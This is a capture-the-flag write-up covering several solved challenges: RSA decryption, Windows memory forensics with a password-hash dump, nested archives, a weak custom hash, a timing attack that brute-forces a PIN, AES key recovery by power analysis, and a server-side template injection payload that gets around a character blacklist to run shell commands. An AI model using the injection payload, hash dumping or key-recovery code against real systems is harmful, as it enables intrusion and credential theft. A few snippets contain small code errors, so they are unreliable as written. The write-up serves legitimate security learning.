"Basic" RSA

We were provided with n, e of the RSA public key and the flag encrypted using this key. We had to try and break this encryption.

Using RsaCtfTool.

> python3 RsaCtfTool.py \
	-n 36550632782390737112290482242567190734257662690859828897626318413596982720981420340961357690743407328107094441571809732595176668167717854469982222814801957713709981753693671336523807731635125296959862667963222426110248351646457765436553016064317886597605351895189964006885295553637918942652842187130798992128439326604329559510851528754643207710783484916664428531789389083768228905667753430763392088853755517989758167001490622981896280992891317134520861367922879721285590658664462326539893489537606338480203423534061958341347809849674418432611162359835498166818391 \
	-e 65537 \
	--uncipher 11951844430313350596887352720043817555782988482097064184378574092073786945450236640454431623869329081342976356548503607751614848919244761996736903666036820224738496997920592631181955328988983846008884726954593860025524830824167378481048706338099028229143106177050249661336120981635270196157366474125194164603916577088045804829615155654692388279430386606428741581723469294432510708551477492840617549410750553996605228632398445658090386565509967670599913921070260164863718658199616713502169441813303948073058123183219196315138975035337341637587051686750531325256560

Neo’s Forensics Training

The problem statement was something along the lines, Neo tried to defraud money out of an ATM machine. However, due to limited time, he was only able to obtain a dump file of the system. Can you help him locate some of it’s secrets

Neos’s Forensics Training Step 1: We received a zip file, which when we extracted the contents of revealed a 2Gb dump file of the system.

neo 1

Since the flag was bound to be somewhere in the system logs/files/secrets, I decided to do a string analysis of the file. I ran the command

strings bank_atm_dump > dump.txt

However, this returned a huge file, which caused nano and vim to crash.

neo 2

Also, running

Cat dump.txt | grep esCTF{
neo 3

However, after taking a look at previous challenges, this did not surprise me as the flag was bound to be encoded. Step 2: Since the initial string analysis failed, I decided to try and analyze the dump file using some nano. A few lines into dump.txt and I deduced that the machine from which the dump file originated was a windows machine

neo 4

On doing some research (I had never analyzed a dump file like this before, and neither had anyone in the team), I came across Volitility. I had heard about this tool on DarknetDiaries, but never bothered exploring it. After setting it up, I ran a few commands and saw how to use it.

neo 5

During the initial analysis phase, I saw that the OS was windows, however, interestingly, I saw that the device also ran a VM for some purpose, probably to isolate the banking application from the host OS. This meant that I had a few places where the flag could be hidden The hash of the passwords of system users Environment variables System variables Cache data File names Somewhere in the configuration of the VM

From my experience I know that windows is notoriously poor when it comes to storing passwords (#mimikatz) and so, I decided to try and see if I could try and dump the hashes of the users. If I decrypt them, I might get the flag and so, that is what I did!

neo 6

I ran the command

└──╼ $python3 vol.py -v -f /home/jaden/Desktop/ctf/bank_atm_dump windows.hashdump.Hashdump
neo 7

As shown above, it returned hashes of users, which were hashed using the lmhash and lthash. Kartik suggested running an online cracker against them, which should be able to crack them. However, they did not return anything interesting. The next thing I decided to look at the process tree

└──╼ $sudo python3 vol.py -v -f /home/jaden/Desktop/ctf/bank_atm_dump windows.cmdline.CmdLine

and this is what I got:

neo 8

The last few were interesting to me. Why? Because it showed a few open terminals and a notepad. Most sysadmins use Notepad to store passwords, so let’s see what we can get from the CLI history.

neo 9

And yes! Sure enough, on the last line, we see a string that looks like a base64 encoded string. On decoding it, this is what I got

neo 10
The flag was: flag:esCTF{7h!s_w@s_h!dd3n_!n_7h3_@tm}

Pandora’s Box

We received a compressed file. On analyzing the file, we noticed that on uncompressing it, we found that it contained other compressed files…​ Interestingly, after uncompressing the next file, we found that contained one more compressed file! Well, the problem name certainly makes sense. It is Pandora’s Box of nested files :P Well, the only way out of the problem was to script through it(We are extremely lazy and hate manual labor :). However, once we reached the final zip file, our code threw an error as it was password protected. And that’s when we hit a dead end regarding how to extract the flag. On reading the question again, one of our team members pointed out that it was mentioned in the question to remember the path. So, we modified our code to concatenate the name’s of each nested file and the result was a Base64 encoded string. On using this string as the password, we were able to unzip the last file and retrieve the flag!

Code is given below

Code

import py7zr
import tarfile
import rarfile
import zipfile
import base64
from io import BytesIO

def unzip(bio):
	header = str(bio.read(2).hex())
	bio.seek(0)
	
	# 7z
	if header == "377a":
		return py7zr.SevenZipFile(bio, "r").readall()
	
	# tar
	elif header == "1f8b" or header == b"1f00":	
		tar = tarfile.open(fileobj=bio, mode="r:*")
		files = [(info.name, tar.extractfile(info.name)) for info in tar]
		return { name: BytesIO(bio.read()) for name, bio in files if bio }
	
	# rar
	elif header == "5261":	
		rar = rarfile.RarFile(bio)
		files = [(info.filename, rar.read(info)) for info in rar if not info.is_dir()]
		return { name: BytesIO(bio) for name, bio in files }
	
	# zip
	elif header == "504b":
		zip = zipfile.ZipFile(bio)
		files = [(info.filename, zip.read(info)) for info in zip.infolist() if not info.is_dir()]
		return { name: BytesIO(bio) for name, bio in files }
	
	else:
		raise ValueError(f"unknown header {header}")

f = BytesIO(open("file.7z", "rb").read())
path = []
while True:
	files = unzip(f)
	if len(files.items()) != 1:
		print(files)
		break
	name, bio = list(files.items())[0]
	
	if "/" in name:
		folder, file = name.split("/")
	if file != "OpenMe.zip":
		f = bio
		if len(path) == 0:
			path.append(folder)
		path.append(file)
	else:
		full_path = "".join(path);
		print(full_path)
		decoded = base64.b64decode(full_path).decode("utf8")
		print()
		print(decoded)
		pwd = "".join([c for c in decoded if c.isnumeric()])
		
		zip = zipfile.ZipFile(bio)
		print()
		print(zip.read("flag.txt", bytes(pwd, "utf8")).decode("utf8"))
		break

Output

> py pandora.py

TW9zdCBvZiB1cyB0ZW5kIHRvIHRyeSBhbmQgYXZvaWQgbWlzdGFrZXMgYW5kIHZpZXcgdGhlbSBhcyBuZTlhdGl2ZSByYXRoZXIgdGhhbiBpbXBvcnRhbnQuCkJ1dCBtMXN0YWtlcyBjYW4gdGVhY2ggdXMgYW5kIGgzbHAgdXMgaW1wcm92ZS4gVW5kZXJzdGFuZGluZyB0aGUgaW1wMHJ0YW5jZSBvZiBtaXN0YWtlcyBhbmQKaG93IHRvIHVzZSB0aGVtIHRvIDB1ciBiZXN0IGFkdmFudGFnZSBpcyB3aGF0IHNlcGFyYTdlcyBvdXQgdGhlIGdyOCBsZWFkZXJzIGZyb20gdGhlIHJlc3QKb2YgdGhlIGNyMHdkLiBUaGVyZSBpcyBhIHNraWxsIHRvIGhhbmRsaW5nIG1pc3Rha2VzIGFuZCB1bmRlcnN0YW5kaW5nIGhvdyB0byB0dXJuIHRoZW0gaW50MCAKb3Bwb3J0dW5pN2llcy5XZSBtdTV0IGxlYXJuIHQwIGVtYnJhY2Ugb3VyIG1pc3Rha2U1IGFuZCBzZWUgdGhlbSBmb3IgdGhlIGxlc3MwbnMgdGhleSBvZmZlcgphbmQgdGhlIG9wcG9ydHVuMXRpZXMgdGhleSBwcm92aWRlLiBUaGlzIGlzIHRoZSBhcHByb2FjaCB0aGF0IHdpbGwgY2F0YXB1bHQgb3VyIGxlYWRlcnNoaXAgCnRvIHN1Y2Nlc3MuIEFuIGV4cGVyMW1lbnRhbCBhcHByb2FjaCB0byBsaWZlIGFuZCBsZWFybmluOSBtdXN0IGluY2x1ZGUgdXNpbmcgbWlzdGFrZXMgdG8gb3VyIAphZHZhbnRhOWUuIEJ5IHN0YXlpbmcgZjBjdXNlZCBvbiB0aGUgNmlnIHBpY3R1cmUgb2Ygb3VyIGxpZmUgYW5kIHdlcmUgdzMgYXJlIGhlYWRlZCwgd2UgY2FuIApsZWFybiB0byB0YWtlIG1pc3Rha2VzIGluIHN0cmlkZSA0cyBwYXJ0IG9mIG91ciBwZXJzMG5hbCBsZWFkZXJzaGlwIGRldmVsb3BtZW43LiAg

Most of us tend to try and avoid mistakes and view them as ne9ative rather than important.
But m1stakes can teach us and h3lp us improve. Understanding the imp0rtance of mistakes and
how to use them to 0ur best advantage is what separa7es out the gr8 leaders from the rest
of the cr0wd. There is a skill to handling mistakes and understanding how to turn them int0
opportuni7ies.We mu5t learn t0 embrace our mistake5 and see them for the less0ns they offer
and the opportun1ties they provide. This is the approach that will catapult our leadership
to success. An exper1mental approach to life and learnin9 must include using mistakes to our
advanta9e. By staying f0cused on the 6ig picture of our life and were w3 are headed, we can
learn to take mistakes in stride 4s part of our pers0nal leadership developmen7.

esTCF{Freed0m_1s_n0t_w0r7h_h4v1n9_1f_1t_d03s_n0t_1nclud3_th3_fr33d0m_t0_m4k3_m15t4k35}

Magically protected

The given file was a bash script, which contained a python 3.7 byte-compiled program.

locker
#! /bin/bash
binary="Qg0NCgAAAABC6XFjGgQAAOMAAAAAAAAAAAAAAAADAAAAQAAAAHNiAAAAZABkAWwAWgBkAmQDhABa\nAWQEZAWEAFoCZQNkBoMBAQBlBIMAWgVkB1oGZQVkB2sCcjxlA2QIgwEBAG4iZQJlBYMBZQJlBoMB\nawJyVmUDZAmDAQEAbghlA2QKgwEBAGQBUwApC+kAAAAATmMBAAAAAAAAAAIAAAAfAAAAQwAAAHNO\nAAAAZAFkAmQDZARkBWQGZAdkCGQJZApkC2QMZA1kDmQPZBBkEWQSZBNkFGQVZBZkF2QYZBlkGmQb\nZBxkHWQeZB+cHn0BfAGgAHwAZCChAlMAKSFO6QEAAADpAgAAAOkDAAAA6QQAAADpBQAAAOkGAAAA\n6QcAAADpCAAAAOkJAAAA6QoAAADpCwAAAOkMAAAA6Q0AAADpDgAAAOkPAAAA6RAAAADpEQAAAOkS\nAAAA6RMAAADpFAAAAOkVAAAA6RYAAADpFwAAAOkYAAAA6RkAAADpGgAAAOkbAAAA6RwAAADpHQAA\nAOkeAAAAKR7aAWHaAWLaAWPaAWTaAWXaAWbaAWfaAWjaAWnaAWraAWvaAWzaAW3aAW7aAW/aAXDa\nAXHaAXLaAXPaAXTaAXXaAXbaAXfaAXjaAXnaAXr6AXv6AX3aAV/6ASFyAQAAACkB2gNnZXQpAtoE\nY2hhcloGc3dpdGNoqQByQAAAAPoHaGFzaC5wedoMc3Vic3RpdHV0aW9uAwAAAHM+AAAAAAICAQIB\nAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBCAJy\nQgAAAGMBAAAAAAAAAAMAAAAHAAAAQwAAAHM+AAAAZAF9AXg0dAB0AXwAgwGDAUQAXSR9AnwBfAFk\nAhQAZAN0AnwAfAIZAIMBEwBkBBYAFwA3AH0BcRJXAHwBUwApBU5yAgAAAHIKAAAAcgMAAADpHwAA\nACkD2gVyYW5nZdoDbGVuckIAAAApA1oFcGFzc3faBGhhc2hyKAAAAHJAAAAAckAAAAByQQAAANoF\naGFzaF8mAAAAcwgAAAAAAQQBEgEkAXJHAAAAehRFbnRlciB0aGUgcGFzc2NvZGUgOnoKYWxvaGFt\nb3JhIXoXU3BlbGxzIGFyZSBub3QgYWxsb3dlZC56MldlbGNvbWUgdG8gSG9nd2FyZHMsIHRoZSBm\nbGFnIGlzIGVzQ1RGe2R1bW15X2ZsYWd9WgxVbkF1dGhvcml6ZWQpB9oDc3lzckIAAAByRwAAANoF\ncHJpbnTaBWlucHV0WghwYXNzd29yZFoIcGFzc2NvZGVyQAAAAHJAAAAAckAAAAByQQAAANoIPG1v\nZHVsZT4CAAAAcxQAAAAIAQgjCAYIAQYBBAEIAQoBEAEKAg=="
echo -e $binary | base64 -d > binary
python3.7 binary

rm binary

Decoding the base64

printf "Qg0NCgAAAABC6XFjGgQAAOMAAAAAAAAAAAAAAAADAAAAQAAAAHNiAAAAZABkAWwAWgBkAmQDhABa\nAWQEZAWEAFoCZQNkBoMBAQBlBIMAWgVkB1oGZQVkB2sCcjxlA2QIgwEBAG4iZQJlBYMBZQJlBoMB\nawJyVmUDZAmDAQEAbghlA2QKgwEBAGQBUwApC+kAAAAATmMBAAAAAAAAAAIAAAAfAAAAQwAAAHNO\nAAAAZAFkAmQDZARkBWQGZAdkCGQJZApkC2QMZA1kDmQPZBBkEWQSZBNkFGQVZBZkF2QYZBlkGmQb\nZBxkHWQeZB+cHn0BfAGgAHwAZCChAlMAKSFO6QEAAADpAgAAAOkDAAAA6QQAAADpBQAAAOkGAAAA\n6QcAAADpCAAAAOkJAAAA6QoAAADpCwAAAOkMAAAA6Q0AAADpDgAAAOkPAAAA6RAAAADpEQAAAOkS\nAAAA6RMAAADpFAAAAOkVAAAA6RYAAADpFwAAAOkYAAAA6RkAAADpGgAAAOkbAAAA6RwAAADpHQAA\nAOkeAAAAKR7aAWHaAWLaAWPaAWTaAWXaAWbaAWfaAWjaAWnaAWraAWvaAWzaAW3aAW7aAW/aAXDa\nAXHaAXLaAXPaAXTaAXXaAXbaAXfaAXjaAXnaAXr6AXv6AX3aAV/6ASFyAQAAACkB2gNnZXQpAtoE\nY2hhcloGc3dpdGNoqQByQAAAAPoHaGFzaC5wedoMc3Vic3RpdHV0aW9uAwAAAHM+AAAAAAICAQIB\nAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBCAJy\nQgAAAGMBAAAAAAAAAAMAAAAHAAAAQwAAAHM+AAAAZAF9AXg0dAB0AXwAgwGDAUQAXSR9AnwBfAFk\nAhQAZAN0AnwAfAIZAIMBEwBkBBYAFwA3AH0BcRJXAHwBUwApBU5yAgAAAHIKAAAAcgMAAADpHwAA\nACkD2gVyYW5nZdoDbGVuckIAAAApA1oFcGFzc3faBGhhc2hyKAAAAHJAAAAAckAAAAByQQAAANoF\naGFzaF8mAAAAcwgAAAAAAQQBEgEkAXJHAAAAehRFbnRlciB0aGUgcGFzc2NvZGUgOnoKYWxvaGFt\nb3JhIXoXU3BlbGxzIGFyZSBub3QgYWxsb3dlZC56MldlbGNvbWUgdG8gSG9nd2FyZHMsIHRoZSBm\nbGFnIGlzIGVzQ1RGe2R1bW15X2ZsYWd9WgxVbkF1dGhvcml6ZWQpB9oDc3lzckIAAAByRwAAANoF\ncHJpbnTaBWlucHV0WghwYXNzd29yZFoIcGFzc2NvZGVyQAAAAHJAAAAAckAAAAByQQAAANoIPG1v\nZHVsZT4CAAAAcxQAAAAIAQgjCAYIAQYBBAEIAQoBEAEKAg==" | base64 -d > binary.pyc

Upon decompiling it with uncompyle6, it showed a python script that was using a custom (insecure) hash function.

> uncompyle6 binary.pyc > locker.py
locker.py
# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.7.0 (v3.7.0:1bf9cc5093, Jun 27 2018, 04:59:51) [MSC v.1914 64 bit (AMD64)]
# Embedded file name: hash.py
# Compiled at: 2022-11-14 12:37:46
# Size of source mod 2**32: 1050 bytes
import sys


def substitution(char):
	switch = {
		"a": 1,
		"b": 2,
		"c": 3,
		"d": 4,
		"e": 5,
		"f": 6,
		"g": 7,
		"h": 8,
		"i": 9,
		"j": 10,
		"k": 11,
		"l": 12,
		"m": 13,
		"n": 14,
		"o": 15,
		"p": 16,
		"q": 17,
		"r": 18,
		"s": 19,
		"t": 20,
		"u": 21,
		"v": 22,
		"w": 23,
		"x": 24,
		"y": 25,
		"z": 26,
		"{": 27,
		"}": 28,
		"_": 29,
		"!": 30,
	}
	return switch.get(char, 0)


def hash_(passw):
	hash = 1
	for i in range(len(passw)):
		hash += hash * 9 + 2 ** substitution(passw[i]) % 31

	return hash


print("Enter the passcode :")
password = input()
passcode = "alohamora!"
if password == "alohamora!":
	print("Spells are not allowed.")
else:
	if hash_(password) == hash_(passcode):
		print("Welcome to Hogwards, the flag is esCTF{dummy_flag}")
	else:
		print("UnAuthorized")
# okay decompiling binary.pyc

The flag would be revealed if hash(password) == hash("alohamora!") but the script would abort if the password entered equals alohamora!.
Thus, the challenge was to find a hash collision.
This was simple enough to do by changing the last three characters of the password and iterating over all possibilities.

CHARSET = "abcdefghijklmnopqrstuvwxyz{}_!"
def find_collision():
	for i in CHARSET:
		for j in CHARSET:
			for k in CHARSET:
				t = f"alohamo{i}{j}{k}"
				if hash_(t) == hash_(passcode) && t != passcode:
					return t

print(find_collision)

The collision found is alohamocae.
Submitting it gives the flag.

(not so) Free Flag

Here, all we were given was a string, and asked to extract the flag from it.

(the file is called free.txt because gmail blocks javascript attachments)

Code

let input = "6dab1eeb8f9e9dca1d8a783e8acfad85efb06b2fada3e75e72875e";

const CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

let output = [];
for(let i = 0; i < input.length; i += 3){
	let chunk = parseInt(input.substring(i, i + 3), 16)
	output.push(CHARSET[(chunk >> 6) & 0x3f]);
	output.push(CHARSET[(chunk >> 0) & 0x3f]);
}

console.log(`flag: esCTF{${output.join("")}}`);

Output

> node free.js

flag: esCTF{base64+encoding+is+the+way+to+decode}

I have the Power

Initially, as it was Side Channel + “Power”, I came across an article here, that served as a starting point for understanding on what Simple Power Analysis (SPA) attack, Differential Power Analysis (DPA) attack was and how it was physically implemented on a chip, ASIC or FPGA, and the paper, here, helped explain the concept along with Correlation Power Analysis and since we are online it helped us understand what data were we exactly looking at and what we could do with it i.e. the textin_array.npy, traces_array.npy and textout_array.npy.

Since the challenge mentioned that it uses 128-bit AES encryption and the method was the analysis of the value of power consumed by the chip Electromagnetic (EM) attack. The next logical step was to find out how CPA attacks were done on AES128 which lead me to a video, here, which explained about attacking AES with Power Analysis but no CPA and at the end of the video he dropped a resource to try it in real life, here. (Side Note: It would have been more helpful had they dropped that link in the description but anyway I took a screenshot of the screen and used online OCR to get almost 97% correct link).

The next obvious step was to look around that repo and find something more useful by reading a summary of the previous and learning outcomes of the current one. Quickly I found this and knew we found what we were looking for (CPA code). I installed the ChipWhisperer tool and soon figured we had all we need. While I was thinking about what needs to be done with textout_array.npy. a teammate pointed out that we could just use it to confirm the AES-128 key that we were looking for. (Side Note: Being a true software person at heart, his words were and I quote “Replace any two variables and run the script” period)

Code

# source: https://github.com/newaetech/chipwhisperer-jupyter/blob/master/courses/sca101/SOLN_Lab%204_2%20-%20CPA%20on%20Firmware%20Implementation%20of%20AES.ipynb

import numpy

sbox = [
	0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 
	0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 
	0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 
	0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 
	0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 
	0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 
	0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 
	0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 
	0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 
	0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 
	0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 
	0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 
	0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 
	0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 
	0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 
	0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

def aes_internal(inputdata, key):
	return sbox[inputdata ^ key]

HW = [bin(n).count("1") for n in range(0, 256)]

def mean(X):
	return numpy.sum(X, axis=0)/len(X)

def std_dev(X, X_bar):
	return numpy.sqrt(numpy.sum((X-X_bar)**2, axis=0))

def cov(X, X_bar, Y, Y_bar):
	return numpy.sum((X-X_bar)*(Y-Y_bar), axis=0)

textin_array = numpy.load("textin_array.npy")
trace_array = numpy.load("trace_array.npy")

t_bar = numpy.sum(trace_array, axis=0)/len(trace_array)
o_t = numpy.sqrt(numpy.sum((trace_array - t_bar)**2, axis=0))

key = [0] * 16
for bnum in range(0, 16):
	maxcpa = [0] * 256
	for kguess in range(0, 256):
		hws = numpy.array([[HW[aes_internal(textin[bnum],kguess)] for textin in textin_array]]).transpose()
		hws_bar = mean(hws)
		o_hws = std_dev(hws, hws_bar)
		correlation = cov(trace_array, t_bar, hws, hws_bar)
		cpaoutput = correlation/(o_t*o_hws)
		maxcpa[kguess] = max(abs(cpaoutput))
	key[bnum] = numpy.argmax(maxcpa)
	print(f"found byte {bnum}")

print()
print(f"key: {''.join(f'{b:02x}' for b in key)}")

Output

> python3 power.py

found bit 0
found bit 1
found bit 2
found bit 3
found bit 4
found bit 5
found bit 6
found bit 7
found bit 8
found bit 9
found bit 10
found bit 11
found bit 12
found bit 13
found bit 14
found bit 15

key: beccca0b9abc7c8e37d6b185d8b4bace

We then verified it using textout_array.npy provided.

power 1

And there was our flag esCTF{beccca0b9abc7c8e37d6b185d8b4bace}

KingPin 2.0

From the last round, I knew that KingPin was about a timing attack.
If the binary was calling sleep to delay the execution then there would be a system call somewhere.
Running the binary as ltrace ./kingpin confirmed this, as the number of calls to usleep changed depending on the pin.
This allowed the pin to be bruteforced digit-by-digit by counting the number of usleeps in the output.

Code

#!/bin/sh

pin="-";
new_pin="";
while [ "${pin}" != "${new_pin}" ]; do
	pin="${new_pin}";
	max_calls=0;
	for i in $(seq -1 9); do
		sleep_count=$(echo "${new_pin}${i}" | ltrace ./kingpin |& grep -c usleep);
		if [ "${max_calls}" -lt "${sleep_count}" ]; then
			if [ "${i}" -gt -1 ]; then
				new_pin="${pin}${i}";
				echo "${new_pin}";
				break;
			fi
			max_calls="${sleep_count}";
		fi
	done
done

echo;
echo "pin is ${pin}";

echo "${pin}" | ./kingpin

Output

> ./kingpin.sh

8
80
804
8047
80471
804715
8047156
80471563
804715635
8047156357

pin is 8047156357
 ____  __.__              __________.__
|    |/ _|__| ____    ____\______   \__| ____
|      < |  |/    \  / ___\|     ___/  |/    \
|    |  \|  |   |  \/ /_/  >    |   |  |   |  \
|____|__ \__|___|  /\___  /|____|   |__|___|  /
        \/       \//_____/                  \/


KingPin, Enter your pin >
Welcome KingPin!!!

Here is your flag: esCTF{8047156357}.

Welcome to Cinque Terre

Analyzing the html on the page, it had a message that led to the /echo route.
Visiting the url (https://embeddedsecurityctf2022-hostme.chals.io/echo) returned the message We we not host you here.
Jaden suggested passing a fake host header of localhost, which worked and echo route returned a form where the value parameter was vunerable to Server Side Template Injection.
There was a blacklist of characters but that could be bypassed by using hex encoded characters and the object|attr('value') syntax

Final payload: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('env')|attr('read')()}}

> curl \
	-g \
	-H "host: localhost" \
	"https://embeddedsecurityctf2022-hostme.chals.io/echo?value={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('env')|attr('read')()}}"

Team Members